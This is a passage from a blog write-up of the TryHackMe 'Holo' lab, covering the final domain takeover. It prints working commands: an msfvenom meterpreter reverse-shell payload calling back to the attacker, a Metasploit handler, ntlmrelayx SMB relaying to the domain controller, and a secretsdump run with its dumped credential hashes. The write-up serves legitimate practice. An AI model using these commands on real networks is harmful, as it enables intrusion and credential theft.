1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 -f exe > meterpreter_shell.exe

After that, we configure the metasploit handler:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ msfconsole -q 
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > run

Once this is running, we transfer the meterpreter_shell.exe to the .35 machine and execute it. This gives us a meterpreter session. Next, we continue with the ntlmrelay part.

Now that we have stopped the SMB service and can control how our traffic is routed, we can begin exploitation. First, we need to start NTLMRelayX, specifying the domain controller and protocol to exploit, in this case, SMB.

1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ sudo ntlmrelayx.py -t smb://10.200.111.30 -smb2support -socks

The final step is to configure the port forwarding. In meterpreter this can be done using the command portfwd as seen in the screenshot. Once this port forward is set up, the ntlmrelay will start getting incoming connections.

The ntlmrelay created a sock4s proxy for us running on port 1080. By adding this to the proxychains config file, we are then able to interact with the proxy and directly communicate with the target - the DC. We will use psexec/smbexec to get a shell on the target!

There we go! We got system acces on the DC. The very last step is to dump all hashes of the system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ secretsdump.py 'HOLOLIVE/babbadeckl:password1234!@10.200.111.30'

holo.live\okayun:aes128-cts-hmac-sha1-96:6b4d09a80db019cf26ba3747e24dbbb0
holo.live\okayun:des-cbc-md5:15ec8aa8515dc71c
holo.live\watamet:aes256-cts-hmac-sha1-96:d53c4c5126f471d3de0808f0ae65c121c16391de50f5566eb2332b619cdaa039
holo.live\watamet:aes128-cts-hmac-sha1-96:f5375d7cfc3b0ed94754ebecddd81a63
holo.live\watamet:des-cbc-md5:1ad61c4c01e3bf68
holo.live\gurag:aes256-cts-hmac-sha1-96:c98051602a306799e8d107bf72528208fd058d8005e5b8bbe071c0b8367fa497
holo.live\gurag:aes128-cts-hmac-sha1-96:45db25bacadc2fc2248954c89e99de46
holo.live\gurag:des-cbc-md5:cb37b0234c263146
....
babbadeckl:aes256-cts-hmac-sha1-96:6292013c6458b86f6d0ed064f559469e037f0f9cf88697caa86a444ba4c84d13
babbadeckl:aes128-cts-hmac-sha1-96:389136bb3840be2f6bfd33bf4aa885d1
babbadeckl:des-cbc-md5:3bfb23bcb5cde6c7
...
PC-FILESRV01$:aes256-cts-hmac-sha1-96:13ede33286b99acf5d41a99ba95a5972ce3f5d18beb460171d20be67d1c5c53e
PC-FILESRV01$:aes128-cts-hmac-sha1-96:546f72aa6631fccac202855e5f8958bd

And that’s it. We rooted all machines in the Holo network :)

This post is licensed under CC BY 4.0 by the author.